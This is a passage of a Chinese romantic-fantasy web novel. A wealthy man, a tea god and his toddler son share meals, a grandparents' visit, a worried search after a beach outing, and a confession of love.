可能吗,有了茶宝,也是开始幻想起死后有后代上贡了。 白小茶坐在深位灰色大沙发里,被衬托得小小一只,脚趾都够不到沙发边缘。他捧着自己的大肚杯,催促道:“老板叔叔快吃。” 贺任沅:“嗯。” 茶宝抓了一把葡萄塞进嘴里,咕噜喝了一口牛乳,晃晃脑袋,好美味啊! 他奶声奶气地询问:“老板叔叔要不要喝奶茶噢?” 宝宝喝进去的是牛奶,吐出来的是奶茶! 贺任沅:“嗯?” 白清语赶紧道:“茶宝,不准把你嘴里的牛奶吐出来。” 白小茶:(⊙-⊙) 贺任沅结合上次白小茶吐出来的奶茶一联想,哑然失笑。 白清语道:“你叔叔有别的渠道喝奶茶!” 白小茶又弯起眼睛:“噢!” 贺任沅头脑一热,别的……渠道?白、白清语吗? ———————— 被茶宝孝死。 第35章 白清语抬眸看见贺任沅的神情,第一次读懂少爷的微表情:“你很想喝?” 桌上没有汤水,因为都是适合茶宝一口干完的小碟子,装汤不够大人喝。 贺任沅看着桌面,声音简短、几不可闻:“嗯。” 白清语顿时把泡了大红袍的大肚杯拿出来,倒进桌上贺任沅喝水的玻璃杯,再跟茶宝借一点牛乳,混合混合,就是一杯两百年树龄风味的大红袍奶茶了。 白清语拧开杯盖,贺任沅才注意到那杯大红袍——上回白清语用大肚杯给他泡过一回,是两年生的茶,茶香一经溢出,贺任沅立刻闻出,茶树年份不一样了,是白清语的茶! 他说不出此刻更想纯粹品味大红袍的岩骨花香,还是尝一尝混合牛乳的奶茶。他掌心紧张得微微出汗,在浴袍上擦了擦,才接过奶茶。 带些茶色的奶茶水面轻轻波动,无意宣泄出手主人的不淡定。 他在白清语游过的泳池游过,他现在要喝白清语产的茶。 虽然混合了牛乳,但茶底的风味仍然像茶神一样简单纯粹。 “老板叔叔,等一下噢。” 扑通,一颗剥好的大青提滚进奶茶。 扑通扑通,两块大布丁滚进奶茶。 贺任沅冷静地持着杯子,眼睁睁看着茶宝帮他加料,离他想要的纯奶茶愈来愈远。 “谢谢茶宝。” 白小茶:“好喝的,叔叔。” 贺任沅不得不配上勺子:“嗯。” 白小茶美滋滋又喝了一口牛乳,嘴里含着一颗青提,让牛乳从青提的缝隙过滤,再晃一晃,融入自身的茶味,咽下肚子,最后嚼一嚼青提。 白清语忍不住要反馈:“好喝吗?” 贺任沅:“好喝,是我喝过最好喝的茶、奶茶。”看见茶宝也期待地看着他,他连忙加上茶宝贡献的“奶”字。 白清语抿了抿唇,贺任沅嘴巴那么挑,说好喝是极大的赞美,茶神愿意奖励诚实的茶叶爱好者:“那你喜欢什么口味的茶?下次换一种给你泡。” 贺任沅:“怎么换?” 白清语:“我是很难改变风味,但是茶宝可以。” “茶宝年纪小,他在黄山住一晚吸收雨露就会改变风味,从岩茶变成黄山毛峰的味道。你喜欢龙井口味,我可以带茶宝去西湖狮峰山住两天,你喜欢红茶,我可以带茶宝去祁门县住两天……” 白小茶:“和爸爸一起变成茶树淋雨!” 贺任沅脱口而出:“黄山是你为了我去的?” 仔细想想白清语去黄山的时机非常突兀,就在他帮忙反击碰瓷的第二天。白清语每次感谢他,都是用茶。 白清语:“嗯。” 贺任沅想,原来这对父子俩风餐露宿,全是为了他,幸好他追上去了,不然这辈子失去喝茶的资格。 他不是茶神,没法代入白清语和茶宝淋雨的姿态,他只知道黄山夜晚又高又冷,哪怕是最渣的渣男也断没有为了一口吃的,让老婆孩子这样做的。 ……虽然他只是一个叔叔,但是叔叔就更不可能心安理得。 喝遍茶叶的贺总,决定从此固定自己的口味,不让茶神吹风淋雨。 “我只喜欢——”贺任沅刚要大义凛然地强调,忽地想起已经染了黄山毛峰气质的茶宝,此刻若说只喜欢大红袍,那简直是世上最可恶的大人。 “只要好茶我都喜欢,但是你想带茶宝去旅游的话,必须带上我。” 白清语可有可无地应了一声。 贺任沅看得牙痒。 太阳越过大楼前的障碍物,阳光毫无遮挡地投进办公室,茶宝一晒到太阳,忍不住眼皮子上下打架。 贺任沅提出:“离上学时间还早着,把茶宝放我这儿睡一觉,待会儿我送他上学。” 他发现自己犯了一个错误,脱敏应该时时接触过敏原,而不是把自己隔离起来,整天抓心挠肝地想念。 他今天看见白清语,不也没发生什么? 白清语赞同把茶宝放在这儿:“那劳烦你看着,我先回去了。” 贺任沅看看崽儿,看看果断走人的白清语,这么信任他? 白清语道:“你给我们做的工作服是不是很贵?” “还好,不贵。” 贺任沅已经尽量不把注意力放在制服上了,闻言目光不受控制地从肩头到脚跟扫了一遍,感受到了脱敏必须经历的难受。 他仿佛上次吃了燕窝,身上起红疹又红又肿一样,需要大量冷水。 如果对白清语过敏也能吃抗组胺药物缓解就好了。 白清语:“请外面的裁缝太贵了,还是自己踩缝纫机比较划算,我要回去给茶宝做几套夏天的衣服。” 贺任沅:“好,我看孩子。” 白清语走后,贺任沅立即致电管家:“让大家随意一些,不用特意穿制服。” 管家:“明白。”不太明白。 贺任沅挂断电话,拖了一张沙发到阳光最好的地方,把茶宝抱过去晒太阳。 白小茶感受到光线角度的变化,自动翻了个身,像一株向日葵宝宝。 贺任沅笑了一下,拿起白清语留下的大红袍茶水,带到工位上,精神百倍地上班。 吃了家里的饭,见了家里的人,随心所欲地喝茶,这才是总裁该有的生活。 他捧着可爱的大肚杯,幸好上次没有扔掉,而是洗干净了还回去。 工作一小时后,贺任沅正打算送茶宝上幼儿园,秘书突然打内线通知他贺董事长和董事长夫人来视察公司。 “……”是谁通风报信? 他禁止二老在他还没彻底安顿好父子俩前冒然见面,但是茶宝在这儿,他还能阻止董事长来公司吗? 他决定背着一口黑锅,让二老误解着,但是近来事情多,他还没想好怎么跟茶宝对口供。 这个事情很难办,他必须尊重白清语的地位。 外面传来脚步声,贺任沅闭了闭眼,坦白算了。 快到去幼儿园干饭的时间了,茶宝准时爬起来,揉了揉眼睛。每当太阳的光线角度变成上午九点,是茶神幼崽独特的生物钟。 “茶宝,叔叔的爸爸妈妈来了,你待会儿可以喊他们爷爷奶奶。” “就是那个给你送满汉全席的贺爷爷。” 白小茶:“喔,是贺爷爷!” 贺望重出发之前,在“董事长打扮”和“乡下爷爷打扮”之间犹豫颇久,因为听说茶宝最喜欢的爷爷是乡下的爷爷。 他老婆就很机智:“建议是厨子爷爷打扮。” 贺望重有些心动,但在公司又有点要脸,于是在白色厨师服外面套了一件西装外套,乍一看跟里面穿了一件太极服一样:老董晨练完顺路来公司看一眼。 他混迹商场几十年,沉淀出威严儒雅的气度,从公司楼下到办公室这一路,没人发现哪里不对。 他带着精心炒制的蛋包饭,加了小孩子最喜欢的芝士和火腿。 “贺董好。”高层看见贺望重与夫人手里拎的食盒,联想到贺总这两天为公司殚精竭虑家也不回,寒暄道,“给贺总送饭吗?” 贺望重:“他?不是。” 高层摇头,嘴硬的父亲啊。 到了贺任沅办公室门口,贺望重脱掉外套,一身高级厨师装,拎着食盒进去,一进门就看见沙发上一个粉雕玉琢的孙子,比照片更像他孙子。 贺任沅余光一扫,眼也不抬:“走错门了。” “没走错,我是你爹。” 茶宝眼睛亮起来:“厨师爷爷!” 邓爷爷经常看的厨王争霸节目,厨师叔叔就是这样的。 这一声呼唤,贺望重便知道今天的策略是对的,老婆的智慧让他和孙子马上熟悉起来。 “茶宝,我是爷爷,来,这是爷爷今天做的芝士火腿蛋包饭。” 贺任沅一瞥,嗤笑,他爸的参与度为零,他摸了摸茶宝的脑袋:“这个可以免费吃。” 白小茶从书包里翻出合适的勺子,握住,挖了一大口蛋包饭。 “老板叔叔,这个有咸的,也有甜的噢。” 贺任沅:“嗯,也可以少量搭配。” 贺望重皱眉,戳戳贺任沅的肩膀,你怎么还从舅舅退化成老板叔叔了? 贺任沅正打算坦白,这只是朋友的儿子,他爸便迫不及待地开口问茶宝:“茶宝你不叫他舅舅?” 白小茶忙着干饭,捕捉到“舅舅”关键词,像ai宝宝一样回答:“爸爸说舅舅是爸爸的一种。” 贺望重和夫人对视一眼:他孙子亲口承认了!还要什么亲子鉴定?没有什么比这一句话的含金量更高! 好你个贺任沅,怕露馅居然连舅舅都不让叫。可怜的茶宝,提起贺任沅潜意识里还是“爸爸说”,爸爸说舅舅是爸爸。 舒枚走到另一侧,不可置信地看见茶宝左边脸蛋上清晰地印着一个五指印。 “贺任沅,你打孩子?” 贺望重立刻凑过去一看,气炸了:“你小子打我孙子?我要剥夺你的继承权!” 贺任沅伸出自己的手掌,在茶宝脸颊边比了比。 贺望重赶紧护住孙子:“你还想打?” 白小茶沉迷干饭的动作晃了晃,毫不动摇地把勺子送进嘴里,一粒饭都没掉,心无旁骛。 贺任沅无语道:“我一只手能盖住他一张脸,这么小的五指印能是我打的?” 贺望重狐疑:“那是谁打的?” 贺任沅:“茶宝睡觉时脸蛋压着自己的手了。带过孩子的都知道,你俩不知道吗。” 贺望重和舒枚立刻老实了。 半晌,舒枚道:“我和你爸是常年不在家,但是每次电话里听见你叫爸爸,他都晚上偷偷抹眼泪。” 贺望重嘴硬:“没有的事。” 贺任沅一怔,站起来拍拍他的肩膀:“爸爸。” 贺望重:“你能再叫一句吗?” 贺任沅:“爸。”自从有了给茶宝当爸的念头后,他能理解他爸了,现在他站在这寸土寸金的地方,能养得起两个茶神,多亏父母打拼的基础。 就连他自己,得知茶神身份后的第一念头,也是更加努力地养家,能让茶宝把三百万的勺子摔着玩。可是在办公室睡的这两天,他无比地想念白清语和茶宝,想必这就是当父母的矛盾。 贺望重:“再叫一次。” 贺任沅:“上瘾了?” 贺望重意味深长道:“茶宝不叫你爸爸,你不懂。” 贺任沅:“……” 贺望重使用激将法:“你知道我儿子叫我爸爸我心里有多感动吗?” 贺任沅:“……”别说了。 舒枚帮腔:“你又不打算结婚,你要那名声干嘛?” 贺任沅反驳:“谁说我不打算?” 舒枚:“跟谁?茶宝妈妈?” 贺任沅:“……”没谁。 第36章 茶宝不声不响地干完了一小份蛋包饭,正在舔盘子收尾阶段。 贺望重心花怒放:“宝贝真能吃!” 白小茶握了握勺子:“厨师爷爷,宝宝还能吃!” 还能吃……贺望重犹豫了一下,从老婆包里拿出另一份蛋包饭——是他做的,卖相比较一般,蛋皮没煎好,厚薄不均,跟炒蛋似的。 他本来临走前留给贺任沅吃的,至于为什么是临走前,因为这样就看不见儿子嫌弃的表情了。 他有些忐忑地打开,放在茶宝面前:“爷爷还有一份。” 白小茶向来不会被卖相影响干饭热情,伸出勺子挖了一勺,塞进嘴里,脸颊跟松鼠似的鼓起来,嚼了嚼咽下,点点头:“爷爷做的真好吃!” 他的语气、食欲,跟吃到第一份蛋包饭一模一样。 贺望重哈哈大笑,不愧是他的足金孙子!还是他厨艺上的伯乐! “茶宝你等着爷爷,爷爷这就回去进军餐饮,成功了把股份都留给你,一股都不留给中间商。”贺望重燃起事业心,脑海中迅速成型一个企划,“老婆,你愿不愿意跟我再大干一场!” 舒枚:“可以干。” 中间商贺任沅:“……” 茶宝发现厨师爷爷开怀大笑的点,吃完第二份蛋包饭,弯着眼睛道:“爷爷,宝宝还能吃!” 贺望重高兴得微微有些惊慌失措了,一来他是没有第三份,二来担心他会不会第一次见面就把孙子撑到吐了? “贺任沅,你饿着茶宝了?” 贺任沅连忙抱起茶宝:“别哄爷爷了,叔叔送你去幼儿园。” 贺望重:“幼儿园轮得到你一个上班的叔叔送?当然是退休的爷爷奶奶送。茶宝,爷爷送你行不行,你叔叔要上班。” 白小茶:“可以噢。” 被抢走孩子的贺任沅:“……”退休?不是要返聘到餐饮业了么? 贺望重:“你上你的班,把茶宝的幼儿园地址发我。” “不是,这啥幼儿园?茶宝没上贵族私立,也没上学区房的公立,也不在咱公司的自营?” 贺任沅:“茶宝喜欢就行了。” 贺望重:“那午餐能吃得好吗?要不以后咱自己送饭?” 贺任沅:“吃得挺好的。”要是吃得差,他就有理由劝白清语转学了。 “你们下午不要去接,茶宝爸爸自己接。” 茶宝放学的点不堵车,白清语喜欢坐城市公交车,就让他带茶宝坐,以后总有坐腻的一天。 老少一离开,办公室骤然针落可闻,贺任沅打开瓶盖喝了一口大红袍。 看似在喝五块钱的瓶装饮料,没有人知道这里面是茶神的恩赐。 喝茶并不会让贺任沅失眠,见不到茶神才会。 上午,他忙完手头的工作,在休息室里午休。 白清语还没进过这间屋子,其实舒适度不输家里的床,但最好把床换大一些,万一白清语晚上给他送夜宵,遇到恶劣天气就不用再回去了。 贺任沅乱七八糟想了许多,沉沉睡去。 梦里,他在崖下苟延残喘之际,神明出现,两根冰凉的手指按在他额头上,止住了体温的急剧流失。 或许是摄入茶叶的缘故,这次看清楚了对方的脸,是白清语。 对方的眼神里透着疑惑,那剔透的茶色令人想要虔诚地亲吻。如果有孟婆汤的话,能不能是这种茶色,死得也不算太窝囊。 白清语轻飘飘将他抱了起来,微凉的发丝擦过脸颊,有一缕青丝发芽,变成了细长的柳条模样。 接着,一阵大雾袭来,贺任沅再也看不清了。 贺任沅猛地从床上坐起来,按住了额头。 这回的梦清晰而连续,在大雾袭来之前,没有任何断片,是他完整的记忆。 他现在可以笃定地说,白清语救了他。 只是不知为何白清语忘记了。 在大雾后面,还有发生其他事情吗?贺任沅有种预感,那是喝茶所不能企及到的真相。他头一回感到束手无策,但他不能像蠢蛋一样病急乱投医去找什么道士。 床头的手机震动起来,管家来电。 贺任沅派人量了家里大客厅的尺寸,定制了一个充气城堡,今天刚刚送来,管家这时候打电话,应该是装好了,茶宝放学就能玩到。 “齐叔。” “少爷,白清语去接茶宝,到现在还没回来!”管家急得仿佛天要漏了,“手机也打不通,关机了。” 管家不敢说,他已经到处问沿线有没有发生车祸的。 贺任沅下床,险些踉跄:“幼儿园那边呢?” 管家:“幼儿园监控显示茶宝是准时被白清语接走的,有熟悉的家长也说看着白清语上了公交车。” 贺任沅强自镇定:“可能是手机没电了,你查一查公交路线沿站的公园、喷泉、野山,或者免费开放的场所,他和茶宝喜欢去这些地方,多派人手。” 贺任沅直接打了安保公司的电话,有多少人手雇多少人手。 贺任沅打开地图看了看,自己去了最近的一座山头。 一线城市市区附近的山不多,政府开发了栈道,每天晚上都有很多人爬山。 贺任沅握着手机,一边走一边留意,怕父子俩是变成茶树了在众目睽睽之下不敢变回来。 “茶宝。” “茶宝。” “你是在找狗吗?刚才我看见一条金毛跑那边去了。”热心市民提供线索。 “不是,找一个带着小孩子的爸爸。”贺任沅打开手机,调出照片,“您见过吗?” 热心市民看完摇摇头:“没有,这孩子这么可爱,我见过肯定记得。” 他又问了几个人,不乏呆在这几个小时的人,都没见过。 这座山的几率已经不大了。 贺任沅抹了把脸,下台阶时有种踏空感。 茶神和茶宝,按理说不会被人类社会束缚住,或许,白清语因为被自己发现,带着茶宝消失了。 茶神会完全信任人类吗?可能不会。 消失去哪,他不知道,神仙有神仙的去处,如果今天找不到白清语,明天他就去武夷山看看。 金钱留不住茶神,因为白清语和茶宝都不是重物质的人。 那什么可以? * 三小时前,白清语刚抱着小崽子上公交,就上来几个大妈,都提着塑料桶和铲子,一脸兴奋。 “退潮了,花蛤爆滩了!我姐妹都捡了半桶了。” “我孙子最爱吃炒花蛤了,还有花甲粉。” 白清语立刻竖起耳朵,他和茶宝一直生活在山里,靠山吃山,吃菌子比较多,还没有去过海边。 原来海边也有免费的食物啊。 “宝宝,你要不要吃免费的海螺?” “要!” “那我们去海边捡螺,不过,我们没有塑料桶。” 白小茶拍拍空荡荡的书包:“爸爸,用宝宝的书包。” 白清语:“你真聪明!” 五分钟后,几个阿姨就下车了,白清语立刻跟上,阿姨们健步如飞,他抱着崽子也脚步飞快,然后又到了一个公交站点,乘坐前往海滨的公交车。 “爸爸!是大海叔叔!”小崽子激动地说。 花蛤在退潮后的滩涂上,白清语和茶宝都没有穿水靴,啪唧一踩,半条裤腿都脏了。 无所谓,茶神本就扎根在泥土里,脚底陷在沙土里跟按摩一样。 白清语和白小茶盯着水洼,看见有花蛤在土里喷出水柱,立刻伸手去挖。 白小茶摸到了一个花蛤,兴奋地举起来:“爸爸,看。” 白清语拉开书包拉链:“放进去。” 书包是防水的,白清语扔了一把湿泥沙进去免得花蛤缺水。 一大一小睁着同样圆溜溜的眼睛,像大猫教小猫巡逻老鼠洞一样,在沙滩上前进。 阿姨说得不错,花蛤太多了,瞎猫都能碰到死耗子,何况是两只眼神很好的大花猫。 半小时过去,两个人脸上身上都泥乎乎的,白清语把书包放在地上,拉开给茶宝看:“我们挖了这么多免费的花蛤。” 白小茶:“够宝宝吃,不够爸爸和老板叔叔吃。” 白清语:“是的,我们继续挖。” 两人不知不觉来到海边的礁石区,礁石缝隙里生长着许多芝麻螺、塔螺、辣螺、笔架。 “花蛤够了,我们来捡一些海螺。” 明显一些的地方被人捡光了,狭小的缝隙里还有很多。 大人进不去的地方,小崽子可以。 “靠你了宝宝。” “好噢!”白小茶挤进缝隙里,一个身位正好,但凡吃饱一点肚子都卡不进去,他一个个抠岩石上的海螺,海螺吸住得很紧,要费一些力气。 茶神幼崽有的是干饭的力气。 他一边抠,一边往书包里装, “爸爸,还有海胆。” “全部带走。”白清语掏出手机,想给第一次来海边的茶宝拍个视频给邓伯看,却发现没电关机了。 哦,他在去幼儿园的路上一直播放制衣视频学习,想做出更舒适的衣服给茶宝,看视频耗电太快了。 白清语把手机揣回去,“爸爸来帮你。” 有两个年轻的女生也来赶海拍视频,看见身子正正好卡在石头缝里专注挖螺的茶宝,眼睛都直了。 “天杀的,我一看这就是无主的宝宝,俺可以拾咧。” “虽然有点脏,捡回去洗洗就好了。” “好乖哦,这是什么神仙宝宝!” “姨姨怎么知道我是神仙宝宝?”白小茶脏兮兮的手挠挠后脑勺,疑惑地问爸爸。 白清语:“神仙是一个形容词,夸宝宝很乖很棒。” “这样噢!”白小茶使出吃奶的劲儿抠一个螺,抠下来的时候两颊的婴儿肥都跟着颤了颤。 天渐渐黑下来,海边的赶海客互相呼喊着回去,要涨潮了。 白清语意犹未尽地问:“宝宝,你明天想要上学还是想挖螺?” 茶宝:“爸爸,挖螺!” 父子选择再次达成一致。白清语笑起来:“那我们明天早点来。” 父子俩皆是一副注定进厂的模样,很是感人。 战利品装了满满一书包,海螺和泥水都沉甸甸的。 “爸爸,我来背书包。”白小茶不知天高地厚地说。 白清语:“那你试试。” 白小茶肩膀上挂上书包的瞬间,被重得一屁股坐在地上,水花四溅,有点懵逼,然后跟爸爸一起笑起来。 好好玩啊。 白清语一手挂着书包,一手抱着崽子上岸,手机没电了,但幸好他喜欢带现金。 两人裤子是湿的,脸上有泥,头发里有沙子,只有四只茶色的眼睛干干净净不染尘埃。白清语怕坐脏椅子,和白小茶一起蹲在角落里装蘑菇,并悄悄交流晚上的菜谱。 “唉?今天外卖配送怎么要一个半小时?现在也不是高峰期了。” “没外卖员啊,听说今天好多外卖员都接寻人启事的单去了。” “找谁啊?” “不清楚,可能是富豪丢了猫。”两个年轻人一边交流一边下了车。 “到站了,茶宝下车。”白清语抱着茶宝,高高兴兴地规划,“我们也煮花甲粉和爆炒螺丝,加一点小米辣。” 据他观察,贺任沅是能吃一点辣的,他刚来贺家时,桌上有辣味的菜色,后来估计是照顾到小孩子不能吃辣,贺任沅也全吃清淡的了。 “你叔叔肯定会开心。” 话音刚落,还没走两步,迎面就撞上焦急的管家。 “清语?茶宝!你们终于回来了!”管家险些不敢认,确定了之后立刻打电话给贺任沅,“少爷,他们回家了,都没事。” “你们去哪了?怎么弄得这一身?” “去海边了。”白清语抿了下唇 ,灯火通明的别墅,仿佛海上的灯塔一般亮着等待船只靠岸。他后知后觉,他和茶宝好像让管家担心了。 从前他们在武夷山,邓伯知道他的身份,他兴起了抱着茶宝进山一天一夜,也不是每回都提前告知邓伯。神仙来无影去无踪,邓伯从来不过问。 “对不起,手机没电关机了。” “说什么对不起,没事没事,就是少爷急坏了。” 一辆车刹住在马路边,贺任沅从车上下来,甩上车门,大步走向白清语,高大的身影气势逼人。 白清语见状不妙,少爷眼神好凶,眼眶好红,他机智地先放下小崽子。白小茶迫不及待拖着书包展示自己的劳动成果,书包在地上拖出一条长长的水渍。 贺任沅没走到白清语身前,小腿就被茶宝抱住。 白小茶拉开书包,就像贺任沅在黄山拉开满是零食的登山包一样,他有模有样地模仿:“都送给老板叔叔。” 贺任沅看见满书包的螺,就知道他们放学后去干啥了,两个人脏兮兮的,竟然没有一个路人认出来。 白小茶:“老板叔叔,你高兴吗?” 贺任沅从牙缝里蹦出两个字:“高兴。” 白猫捉老鼠捉成灰猫了,还知道把老鼠带回家给他吃,他当然高兴。 他都快找疯了看见两人当然该高兴。 这对父子身上就应该一人装一个锁死的定位器!上天入地都给他戴着! 钱留不住茶神,那爱行不行? 贺任沅承认了,破防了,他就是想向茶神许愿,向白清语索取感情,他只是一介凡人,逃脱不了七情六欲。 那咋了? 贺任沅在数秒内平复心情,承认他喜欢白清语就像喜欢喝茶一样正常。 “海螺让刘姐去炒,你们俩去洗澡换衣服。” 贺任沅安排下去,“我给茶宝洗澡,你赶紧把自己洗干净。” 白清语:“哦。”看贺任沅的表情,好像没事了? 半小时后,白清语和茶宝都洗得香香的,在楼下汇合。 沉浸式挖螺挖到天黑,肚子早就饿了。一闻到爆炒花蛤的香气,白小茶肚子就咕噜叫了一声。 “爸爸,好香。” “因为是宝宝亲手挖的螺。”白清语指着桌上几盘菜,其中两盘有红辣椒的挪到贺任沅面前,“这两盘是少爷的,茶宝不能吃。” 白小茶已经吃了一口大米饭,鼓着脸颊道:“我不吃。” 半小时前,贺任沅胃里像塞了石头一样沉重,此时面对两盘茶神挖的天价螺,失去一切脾气。 挺香的。 先吃再说。 一家三口吃迟来的晚饭,其他人都默默回房。 贺任沅心不在焉地夹起一个芝麻螺,送进嘴里差点崩掉牙齿。 靠。 他连忙吐出来,原来是一个以假乱真的石头。 白清语:“是茶宝捡的。” 白小茶舔一舔花蛤外壳里的汤汁,再咽一口大米饭,习惯当复读机:“是宝宝捡的。” 贺任沅:“谢谢茶宝。” 他暂时放下筷子,道:“今天我想明白一件事。” 白清语:“什么?” 贺任沅:“你救过我的命,但你忘记了。” 白清语想也不想否认:“不可能,我连在山崖掉下来的纸尿裤都记得,为什么同一地点你掉下来我会忘记?难道你连纸尿裤都不如?” 贺任沅深吸一口气,又来了,油盐不进。 “那就是你的事了。” 贺任沅开诚布公:“我决定对你以身相许。” 茶宝在场,他没有隐瞒,他正大光明追求,茶宝以后没有理由恨他。 他不是没想过润物细无声的追求方式,但以白清语的榆木脑袋,估计永远开不了窍。 白清语久久地愣住,好似听到了天方夜谭,“什么意思?” 贺任沅:“意思是,我这个人、我的感情、我的财富,都送给你。” 白清语没说话,和贺任沅大眼瞪小眼。 沉迷干饭的白小茶听到关键词,大孝子立刻替爸爸问:“老板叔叔,是免费的吗?” 贺任沅眼里浮起笑意:“嗯,免费,白送,倒贴。” 白小茶点头:“爸爸,可以要。” 白清语:“宝宝,有些东西免费的也不能要。” 他憋了半天,终于想到一个词:“你这是碰瓷茶神!” 贺任沅:“就是碰了,怎么了?” 白清语:“……”律师都这样吗? 第37章 贺任沅给茶宝安排了一个有效屏蔽大人谈话的炸鸡腿。 茶宝拿到炸鸡腿,脆皮咬得嘎吱嘎吱,焦香的面包糠簌簌掉在盘子里,他一边咬鸡腿,一边捡面包糠塞进嘴里,不放过一点,打仗一样忙得要命。 贺任沅看着受惊的白清语,心道,如果他不挑明,能在这笨蛋身上占多少便宜,但占便宜是一时的,没有意义。 “在法律上我不能强迫你领证,我也不会道德沦丧强吻你,你没什么可紧张的。” 白清语闻言,深以为然,神明走到哪,信徒都有一堆,每年祭茶神的时候,更是听过无数茶农的虔诚发言,什么愿意一辈子追随他,什么要给他建造惊艳寰宇的茶神殿,几百年花样可多了。 像贺任沅这样的,泯然众人,不用如临大敌。凝滞的手指动起来,把辣螺递到嘴边吸了一口,加了小米椒的,微辣,他嘶地吸了一口气,嘴唇红艳艳的,似神若妖。 贺任沅哑声道:“这世界上变态很多。” 白清语被辣到了,擦了下嘴巴,茶水仿佛要从眼眶里涌出来,没被吻住等于暴殄天物。 贺任沅:“你这样的容貌,如果没有一个实力强悍的追求者挡在前面,让其他人望而生畏,将会有很多人自不量力飞蛾扑火,打扰你和茶宝的正常生活。” “论身高容貌、感情纯度、地位财力,我的综合实力可以担任这一要职。” 贺任沅仿佛回到初出茅庐时,遇到愿意出高额律师费的委托人,必须尽力争取。 白清语:“你在面试吗?” 贺任沅:“也可以算。” 白清语:“我不能录用你,但我可以聘请你当我和茶宝的律师。” 贺任沅:“嗯?” 白清语:“比如我和茶宝要是被警察抓走了,不见到我的律师,我不会开口说话。” 贺任沅:“保释这个功能家属也能实现。” 白清语忽略他的话:“还有就是,有人质疑我的容貌变化,我的律师要帮我解释,你说话比较有信服力。每个月给你开一万工资可以吗?你从我的工资里扣除。” 贺任沅:“……”每月还得给你发两万是吧。 “我转行了,只做免费代理。” 白清语:“好吧。”那就白嫖。 贺任沅转移话题:“今天在家里安装了一个充气城堡,小孩子应该都喜欢,等茶宝吃饱了你带他去玩玩。” 白清语早就注意到了,他上次路过一个类似的充气城堡,玩一次居然要五十,太贵了,他和茶宝都不舍得玩。 在家里玩就免费。 白清语期待地撑着下巴看贺任沅和白小茶吃饭,一大一小的动作竟然十分同步,茶宝吃得大口,贺任沅吃得优雅,导致进食频率也一样。 白清语一向吃得少,半碗饭就饱了。他打开手机,打开同城论坛,看看有没有二手鹅,却看见一栋回复很多的高楼。 点进去一看,愣了。 贺任沅在前几个小时居然发动了一场浩大的寻人,因为时薪太高,外卖员都跑去找茶宝了。 而外卖员熟悉地形,有电动车,也是最合适的人选,最后找了一个多小时,一人结算了两百。 高楼里面的人都在期盼,土豪啥时候派发其他任务。 白清语沉默良久,认真道:“不要浪费钱。” 贺任沅:“你知道了?” 白清语:“如果我想走,你找不到,坏人也奈何不了我和茶宝,我们不会遇到危险,只可能是遇到好玩的被绊住了脚步。” 白清语有些残忍地说:“我没有跟谁报备行程的习惯。” 贺任沅完全端不起雇主的架子,只能像老婆在外面鬼混自己在家洗衣服的窝囊男人一样道:“我明白了。” 茶宝放下勺子,擦了擦嘴巴:“爸爸,我吃饱了。” 贺任沅站起来收拾碗筷:“去充气城堡玩吧,叔叔去洗碗。” 白清语看着贺任沅任劳任怨的低落背影,怎么感觉贺任沅变脆弱了? 他抱着茶宝去充气城堡,一起在上面玩了两趟滑滑梯,随后让他自己玩一会儿,他则端了一盆水和一个小板凳,在城堡边坐下来,一边照看孩子一边洗茶宝的书包。 那书包带着海鲜的腥味,被泥水糊得看不出原来的颜色,白清语握着刷子,打上很多肥皂,使劲刷刷。 明天上学还要用。 贺任沅把碗放进洗碗机,一收脆弱之态,面色镇定地掏出白清语的手机,往里面下载了一个定位小程序,随后把手机放回原位。 他不会随时去看白清语在哪,只希望打不通电话时能用上。 贺任沅定了定神,站在城堡后面看见茶宝从滑梯上下来,语气十分正义地说:“我怕你丢了手机,给你安装了一个定位程序,我可以查看。” 白清语头也不抬,道:“好。” 贺任沅赌对了,果然,茶神的观念与众不同,不会计较这种小事。 等等?哪来的刷鞋子的声音? 他走出来,赫然看见白清语在吭哧吭哧刷书包。 这玩意儿还要洗干净给茶宝用? 贺任沅后悔自己没有先见之明把书包扔了,此刻只能包容地说:“我来洗。” 白清语:“你有洁癖,我自己洗。” 贺任沅呼唤茶宝,道:“茶宝,要不要爸爸陪你玩?” 白小茶:“要!” 贺任沅夺过白清语手里的刷子:“去吧。” 白清语心想他给贺任沅洗过衣服,弄脏书包的螺贺任沅也吃了,所以贺任沅帮他刷个书包是没问题的吧? 白清语脱了鞋子,钻进城堡里,从软软的滑梯底部接住茶宝,捂住他的眼睛:“你被坏人抓住了!” 白小茶:“宝宝被坏人抓住了!” 白清语:“谁来救你?” 白小茶:“爸爸救我!” 白清语:“坏人被爸爸打跑了!” 城堡里传来仙乐般的欢声笑语,蹲在城堡外面刷书包的少爷也露出了微笑。 白清语和白小茶幼稚地玩耍,从他真心实意的笑声可以听出,生一个小崽子玩玩这件事有据可依。 咚咚咚—— 手机出厂自带的铃声响起,白清语放开小崽子,“我的手机响了?” 贺任沅擦了擦手,帮他把手机拿过来。 “谢谢,哦,是邓伯。” “是邓爷爷!”白小茶复读。 白清语让茶宝坐在他怀里玩小球球,然后打开了免提外放。 “喂,邓伯。” 邓伯先跟茶宝打了声招呼,“爷爷给茶宝寄了地瓜干,明天就能收到噢!” 白小茶:“谢谢爷爷,宝宝最喜欢地瓜干!” 贺任沅听出了他们语气里的亲昵,不禁有些羡慕,他把书包内外翻过来,用了一些洗洁精去腥味继续刷。 他什么时候也能跟白清语变成一家人?贺任沅自我安慰道,已经有进步了,世界上还有谁像他一样被茶神接纳得知他的秘密? 邓伯:“爷爷今天要讲一个关于茶神的故事,茶宝先不用听,清语你听好咯。” 贺任沅:“……”哦,邓伯也知道。 白清语从兜里掏出一把瓜子,磕开了给茶宝吃瓜子仁:“邓伯你说。” 邓伯语气适时沧桑,证明这并不是一个欢乐的故事:“很久很久之前,有一代茶神在人间找了一个夫婿,是一个家道中落的清贫书生。书生空有才华,却屡考不中,后来有人指点他要给主考官送银子,你的试卷才会入他的眼。” “但是书生没有钱,一筹莫展,这时茶神偷偷剪了一点头发,变成茶叶,卖给达官贵人换来了银子。书生觉得钱财来路不明,十分担忧,在他的逼问下,茶神坦明了自己的身份。” “书生用银子敲开了官场之路,然而朝中乌烟瘴气,要使银子的地方多的很,他捉襟见肘,便得回去求茶神卖头发,然而茶神的禁制是不能买卖茶叶与民争利,一旦交易,神力就会愈来愈虚。” “书生每每都说,这是最后一次,茶神也总是心软不忍夫君为难,于是身体越来越虚弱。朝中最大的官员喜好茶叶,丧心病狂的书生为了献上茶叶,把神力微弱的茶神困在后院,专门剪他的头发,只为自己平步青云。” 